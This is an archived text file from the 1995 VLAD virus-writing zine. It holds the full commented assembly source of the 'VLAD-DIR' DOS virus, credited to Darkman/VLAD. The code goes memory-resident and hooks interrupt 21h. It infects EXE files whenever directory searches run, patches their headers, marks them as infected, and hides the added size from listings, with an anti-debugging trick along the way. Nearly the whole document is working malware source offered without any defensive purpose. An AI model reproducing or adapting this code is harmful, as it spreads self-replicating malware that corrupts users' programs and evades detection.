home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.4_5 < prev    next >
Encoding:
Text File  |  1995-02-01  |  18.6 KB  |  420 lines

  1.  
  2. ;                             Darkman/VLAD
  3. ;                           Proudly Presents
  4. ;                           V L A D - D I R
  5.  
  6. vlad_dir     segment
  7.              assume  cs:vlad_dir,ds:vlad_dir,es:vlad_dir
  8.              org     00h
  9.  
  10. code:
  11.              call    viruscode
  12. viruscode:
  13.              pop     bp                  ; Load BP from stack
  14.              sub     bp,offset viruscode ; BP = delta offset
  15.  
  16.              push    ds                  ; Save DS at stack
  17.              push    es                  ; Save ES at stack
  18.  
  19.              push    cs                  ; Save CS at stack
  20.              pop     ds                  ; Load DS from stack (CS)
  21.  
  22.              mov     word ptr [bp+antidebug],20cdh
  23. antidebug:
  24.              mov     word ptr [bp+antidebug],0c73eh
  25.  
  26.              mov     ax,6301h            ; VLAD-DIR service
  27.              int     21h                 ; Do it!
  28.              cmp     ax,bx               ; Already resident?
  29.              je      vdexit              ; Equal? Jump to vdexit
  30.  
  31.              mov     ax,es
  32.              dec     ax                  ; Decrease AX
  33.              mov     ds,ax               ; DS = segment of programs MCB
  34.  
  35.              cmp     byte ptr ds:[00h],'Z'
  36.              jne     vdexit              ; Not last in chain? Jump to vdexit
  37.              sub     word ptr ds:[03h],(memoryend-code+0fh)/10h
  38.              sub     word ptr ds:[12h],(memoryend-code+0fh)/10h
  39.              add     ax,ds:[03h]         ; AX = MCB + size of memory block
  40.              inc     ax                  ; AX = first usable MCB segment
  41.  
  42.              cld                         ; Clear direction flag
  43.              push    cs                  ; Save CS at stack
  44.              pop     ds                  ; Load DS from stack (CS)
  45.              mov     es,ax               ; ES = first usable program segment
  46.              mov     cx,(codeend-code)   ; Move 651 bytes
  47.              xor     di,di               ; Clear DI
  48.              lea     si,[bp+code]        ; SI = offset of code
  49.              rep     movsb               ; Move virus to high memory
  50.  
  51.              xor     ax,ax               ; Clear AX
  52.              mov     ds,ax               ; DS = segment of interrupt table
  53.              lea     di,int21adr         ; DI = offset of int21adr
  54.              mov     si,(21h*04h)        ; SI = offset of interrupt 21h
  55.              movsw                       ; Store address of interrupt 21h \
  56.              movsw                       ; in int21adr                    /
  57.              mov     word ptr ds:[21h*04h],offset virusint21
  58.              mov     ds:[21h*04h+02h],es ; Intercept interrupt 21h
  59. vdexit:
  60.              pop     es                  ; Load ES from stack
  61.              pop     ds                  ; Load DS from stack
  62.  
  63.              mov     ax,es
  64.              add     ax,10h              ; Beginning of EXE file
  65.              add     word ptr cs:[bp+csip+02h],ax
  66.  
  67.              mov     sp,word ptr cs:[bp+sssp]
  68.              add     ax,word ptr cs:[bp+sssp+02h]
  69.              mov     ss,ax
  70.  
  71.              db      0eah                ; Object code of jump far
  72. csip         dd      0fff00000h          ; CS:IP of infected file
  73. sssp         dd      ?                   ; SS:SP of infected file
  74.  
  75. virusint21   proc    near                ; Interrupt 21h of VLAD-DIR
  76.              pushf                       ; Save flags at stack
  77.  
  78.              cmp     ax,6301h            ; VLAD-DIR service?
  79.              je      vdservice           ; Equal? Jump to vdservice
  80.              cmp     ah,4eh              ; Find next matching file (DTA)?
  81.              je      getdtapath          ; Equal? Jump to getdtapath
  82.              cmp     ah,4fh              ; Find first matching file (DTA)?
  83.              je      infectdta           ; Equal? Jump to infectdta
  84.              cmp     ah,11h              ; Find first matching file (FCB)?
  85.              je      getfcbpath          ; Equal? Jump to getfcbpath
  86.              cmp     ah,12h              ; Find next matching file (FCB)?
  87.              je      getfcbpath          ; Equal? Jump to getfcbpath
  88.  
  89.              popf                        ; Load flags from stack
  90.              db      0eah                ; Object code of jump far
  91. int21adr     dd      ?                   ; Address of interrupt 21h
  92. vdservice:
  93.              mov     bx,ax
  94.              popf                        ; Load flags from stack
  95.              iret                        ; Interrupt return!
  96. getdtapath:
  97.              push    ax                  ; Save AX at stack
  98.              push    di                  ; Save DI at stack
  99.              push    si                  ; Save SI at stack
  100.              push    es                  ; Save ES at stack
  101.  
  102.              cld                         ; Clear direction flag
  103.              lea     di,filename         ; DI = offset of filename
  104.              mov     si,dx
  105.              push    cs                  ; Save CS at stack
  106.              pop     es                  ; Load ES from stack (CS)
  107.              mov     filenameoff,di      ; Store offset of filename
  108. movepathdta:
  109.              lodsb                       ; Load a byte of path
  110.              or      al,al               ; End of path?
  111.              je      pathdtaexit         ; Equal? Jump to pathdtaexit
  112.              stosb                       ; Store a byte of path
  113.  
  114.              cmp     al,':'              ; Possible end of path?
  115.              je      setnameoff          ; Equal? Jump to setnameoff
  116.              cmp     al,'\'              ; Possible end of path?
  117.              jne     movepathdta         ; Not equal? Jump to movepathdta
  118. setnameoff:
  119.              mov     filenameoff,di      ; Store offset of filename
  120.              jmp     movepathdta
  121. pathdtaexit:
  122.              pop     es                  ; Load ES from stack
  123.              pop     si                  ; Load SI from stack
  124.              pop     di                  ; Load DI from stack
  125.              pop     ax                  ; Load AX from stack
  126. infectdta:
  127.              call    dword ptr cs:int21adr
  128.  
  129.              push    ax                  ; Save AX at stack
  130.              push    bx                  ; Save BX at stack
  131.              push    cx                  ; Save CX at stack
  132.              push    dx                  ; Save DX at stack
  133.              push    di                  ; Save DI at stack
  134.              push    si                  ; Save SI at stack
  135.              push    ds                  ; Save DS at stack
  136.              push    es                  ; Save ES at stack
  137.              pushf                       ; Save flags at stack
  138.  
  139.              cld                         ; Clear direction flag
  140.  
  141.              mov     ah,2fh              ; Get Disk Transfer Address (DTA)
  142.              int     21h                 ; Do it!
  143.  
  144.              mov     di,filenameoff      ; DI = offset of filename
  145.              mov     si,bx           
  146.              add     si,1eh              ; SI = offset of filename (DTA)
  147.              push    es                  ; Save ES at stack
  148.              pop     ds                  ; Load DS from stack (ES)
  149.              push    cs                  ; Save CS at stack
  150.              pop     es                  ; Load ES from stack (CS)
  151. movenamedta:
  152.              lodsb                       ; Load a byte of filename (DTA)
  153.              stosb                       ; Store a byte of filename
  154.              or      al,al               ; End of filename?
  155.              jne     movenamedta         ; Not equal? Jump to movenamedta
  156.              
  157.              push    bx                  ; Save BX at stack
  158.              push    ds                  ; Save DS at stack
  159.  
  160.              call    infectfile
  161.  
  162.              pop     es                  ; Load ES from stack (DS)
  163.              pop     di                  ; Load DI from stack (BX)
  164.  
  165.              cmp     word ptr [si+12h],'DV'
  166.              jne     dtaexit             ; Already infected? Jump to dtaexit
  167.  
  168.              sub     es:[di+1ah],(codeend-code)
  169.              sbb     word ptr es:[di+1ch],00h
  170. dtaexit:
  171.              jmp     int21exit
  172. getfcbpath:
  173.              push    ax                  ; Save AX at stack
  174.              push    di                  ; Save DI at stack
  175.              push    si                  ; Save SI at stack
  176.              push    es                  ; Save ES at stack
  177.  
  178.              mov     si,dx
  179.              add     si,0a4cfh           ; SI = offset of FCB
  180.              cmp     byte ptr [si+01h],':'
  181.              jne     infectfcb           ; Not equal? Jump to infectfcb
  182.  
  183.              lea     di,filename         ; DI = offset of filename
  184.              push    cs                  ; Save CS at stack
  185.              pop     es                  ; Load ES from stack (CS)
  186. movepathfcb:
  187.              lodsb                       ; Load a byte of path
  188.              or      al,al               ; End of path?
  189.              je      pathfcbexit         ; Equal? Jump to pathfcbexit
  190.              stosb                       ; Store a byte of path
  191.              jmp     movepathfcb
  192. pathfcbexit:
  193.              mov     al,'\'
  194.              stosb                       ; Store the last byte of the path
  195.              mov     filenameoff,di      ; Store offset of filename
  196. infectfcb:
  197.              pop     es                  ; Load ES from stack
  198.              pop     si                  ; Load SI from stack
  199.              pop     di                  ; Load DI from stack
  200.              pop     ax                  ; Load AX from stack
  201.  
  202.              call    dword ptr cs:int21adr
  203.  
  204.              push    ax                  ; Save AX at stack
  205.              push    bx                  ; Save BX at stack
  206.              push    cx                  ; Save CX at stack
  207.              push    dx                  ; Save DX at stack
  208.              push    di                  ; Save DI at stack
  209.              push    si                  ; Save SI at stack
  210.              push    ds                  ; Save DS at stack
  211.              push    es                  ; Save ES at stack
  212.              pushf                       ; Save flags at stack
  213.  
  214.              or      al,al               ; Filename match found?
  215.              jne     int21exit           ; Not equal? Jump to int21exit
  216.  
  217.              cld                         ; Clear direction flag
  218.  
  219.              add     dx,0a4cfh           ; DX = offset of FCB
  220.              mov     si,dx
  221.  
  222.              cmp     byte ptr [si],0ffh  ; Extended FCB ID?
  223.              jne     initmovefcb         ; Not equal? Jump to initmovefcb
  224.              add     si,07h              ; SI = offset of extended FCB
  225. initmovefcb:
  226.              push    si                  ; Save SI at stack
  227.              push    ds                  ; Save DS at stack
  228.  
  229.              mov     cx,08h              ; Move 8 bytes
  230.              mov     di,filenameoff      ; DI = offset of filename
  231.              inc     si                  ; SI = offset of filename (FCB)
  232.              push    cs                  ; Save CS at stack
  233.              pop     es                  ; Load ES from stack (CS)
  234. movenamefcb:
  235.              lodsb                       ; Load a byte of filename (FCB)
  236.              cmp     al,' '              ; End of filename?
  237.              je      createext           ; Equal? Jump to createext
  238.              stosb                       ; Store a byte of filename
  239.              loop    movenamefcb
  240.              inc     si                  ; Increase SI
  241. createext:
  242.              mov     al,'.'
  243.              dec     si                  ; Decrease SI
  244.              add     si,cx               ; SI = offset of extension (FCB)
  245.              stosb                       ; Create .EXE extension
  246.              movsw                       ; Move extension
  247.              movsb                       ;  "       "
  248.              xor     al,al               ; Clear AL
  249.              stosb                       ; Create a ASCIIZ filename
  250.  
  251.              call    infectfile
  252.  
  253.              pop     es                  ; Load ES from stack (DS)
  254.              pop     di                  ; Load DI from stack (SI)
  255.  
  256.              cmp     word ptr [si+12h],'DV'
  257.              jne     int21exit           ; If infected jump to int21exit
  258.  
  259.              sub     es:[di+1dh],(codeend-code)
  260.              sbb     word ptr es:[di+1fh],00h
  261. int21exit:
  262.              popf                        ; Load flags from stack
  263.              pop     es                  ; Load ES from stack
  264.              pop     ds                  ; Load DS from stack
  265.              pop     si                  ; Load SI from stack
  266.              pop     di                  ; Load DI from stack
  267.              pop     dx                  ; Load DX from stack
  268.              pop     cx                  ; Load CX from stack
  269.              pop     bx                  ; Load BX from stack
  270.              pop     ax                  ; Load AX from stack
  271.  
  272.              retf    02h                 ; Return far and pop a word!
  273.              endp
  274.  
  275. infectfile   proc    near                ; Infect a EXE file
  276.              mov     ax,3d00h            ; Open file (read)
  277.              lea     dx,filename         ; DX = offset of filename
  278.              push    cs                  ; Save CS at stack
  279.              pop     ds                  ; Load DS from stack (CS)
  280.              int     21h                 ; Do it!
  281.              jc      infectexit          ; Error? Jump to infectexit
  282.  
  283.              xchg    ax,bx               ; Exchange AX with BX
  284.  
  285.              mov     ax,1220h            ; Get system file table number
  286.              int     2fh                 ; Do it! (multiplex)
  287.  
  288.              push    bx                  ; Save BX at stack
  289.              mov     ax,1216h            ; Get address of system FCB
  290.              mov     bl,es:[di]          ; BL = system file table entry
  291.              int     2fh                 ; Do it! (multiplex)
  292.              pop     bx                  ; Load BX from stack
  293.  
  294.              mov     byte ptr es:[di+02h],02h
  295.  
  296.              mov     ax,5700h            ; Get file's date/time
  297.              int     21h                 ; Do it!
  298.              push    cx                  ; Save CX at stack
  299.              push    dx                  ; Save DX at stack
  300.  
  301.              cmp     word ptr es:[di+28h],'XE'
  302.              jne     closefile           ; Not equal? Jump to closefile
  303.              cmp     byte ptr es:[di+2ah],'E'
  304.              jne     closefile           ; Not equal? Jump to closefile
  305.  
  306.              mov     ah,3fh              ; Read from file
  307.              mov     cx,1ch              ; Read 28 bytes
  308.              lea     dx,exeheader        ; DX = offset of exeheader
  309.              mov     si,dx
  310.              int     21h                 ; Do it!
  311.  
  312.              cmp     word ptr [si],'MZ'  ; EXE file?
  313.              je      infecttest          ; Equal? Jump to infecttest
  314.              cmp     word ptr [si],'ZM'  ; EXE file?
  315.              je      infecttest          ; Equal? Jump to infecttest
  316. closefile:
  317.              mov     ax,5701h            ; Set file's date/time
  318.              pop     dx                  ; Load DX from stack
  319.              pop     cx                  ; Load CX from stack
  320.              int     21h                 ; Do it!
  321.  
  322.              mov     ah,3eh              ; Close file
  323.              int     21h                 ; Do it!
  324. infectexit:
  325.              ret                         ; Return!
  326. infecttest:
  327.              cmp     word ptr [si+12h],'DV'
  328.              je      closefile           ; If infected jump to closefile
  329.  
  330.              cmp     word ptr [si+1ah],00h
  331.              jne     closefile           ; Internal overlay? go to closefile
  332.  
  333.              push    si                  ; Save SI at stack
  334.  
  335.              push    cs                  ; Save CS at stack
  336.              pop     es                  ; Load ES from stack (CS)
  337.  
  338.              add     si,0eh              ; SI = offset of SS:SP
  339.              lea     di,sssp             ; DI = offset of sssp
  340.  
  341.              movsw                       ; Store original SP
  342.              movsw                       ; Store original SS
  343.  
  344.              lodsw                       ; SI = offset of CS:IP
  345.              lea     di,csip             ; DI = offset of csip
  346.  
  347.              movsw                       ; Store original IP
  348.              movsw                       ; Store original CS
  349.  
  350.              pop     si                  ; Load SI from stack
  351.  
  352.              mov     ax,4202h            ; Move file pointer to the end
  353.              cwd                         ; Clear DX
  354.              mov     cx,dx               ; Clear CX
  355.              int     21h                 ; Do it!
  356.  
  357.              push    ax                  ; Save AX at stack
  358.              push    dx                  ; Save DX at stack
  359.  
  360.              mov     cx,10h
  361.              div     cx                  ; Convert bytes to paragraphs
  362.  
  363.              sub     ax,word ptr [si+08h]
  364.  
  365.              mov     word ptr [si+14h],dx
  366.              mov     word ptr [si+16h],ax
  367.  
  368.              add     dx,offset memoryend ; Calculate virus stack
  369.  
  370.              mov     word ptr [si+0eh],ax
  371.              mov     word ptr [si+10h],dx
  372.  
  373.              pop     dx                  ; Load DX from stack
  374.              pop     ax                  ; Load AX from stack
  375.  
  376.              add     ax,(codeend-code)   ; Add the length of the virus
  377.              adc     dx,00h              ; Convert to 32 bit
  378.  
  379.              mov     cx,512
  380.              div     cx                  ; Divide by pages
  381.  
  382.              inc     ax                  ; Increase AX
  383.  
  384.              mov     word ptr [si+04h],ax
  385.              mov     word ptr [si+02h],dx
  386.  
  387.              mov     word ptr [si+12h],'DV'
  388.  
  389.              mov     ah,40h              ; Write to file
  390.              mov     cx,(codeend-code)   ; Write 651 bytes
  391.              cwd                         ; DX = offset of code
  392.              int     21h                 ; Do it!
  393.  
  394.              mov     ax,4200h            ; File pointer to the beginning
  395.              cwd                         ; Clear DX
  396.              mov     cx,dx               ; Clear CX
  397.              int     21h                 ; Do it!
  398.  
  399.              mov     ah,40h              ; Write to file
  400.              mov     cx,1ch              ; Write 28 bytes
  401.              mov     dx,si               ; DX = offset of exeheader
  402.              int     21h                 ; Do it!
  403.  
  404.              dec     si                  ; Decrease SI
  405.              jmp     closefile
  406.              endp
  407.  
  408. virusname    db      ' [VLAD-DIR]'       ; Name of the virus
  409. virusauthor  db      ' [Darkman/VLAD]'   ; Author of the virus
  410. codeend:
  411. filenameoff  dw      ?                   ; Offset of DTA/FCB filename
  412. filename     db      4ch dup(?)          ; DTA/FCB filename
  413. exeheader    db      1ch dup(?)          ; EXE header
  414. memoryend:
  415.  
  416. vlad_dir     ends
  417. end          code
  418.  
  419.  
  420.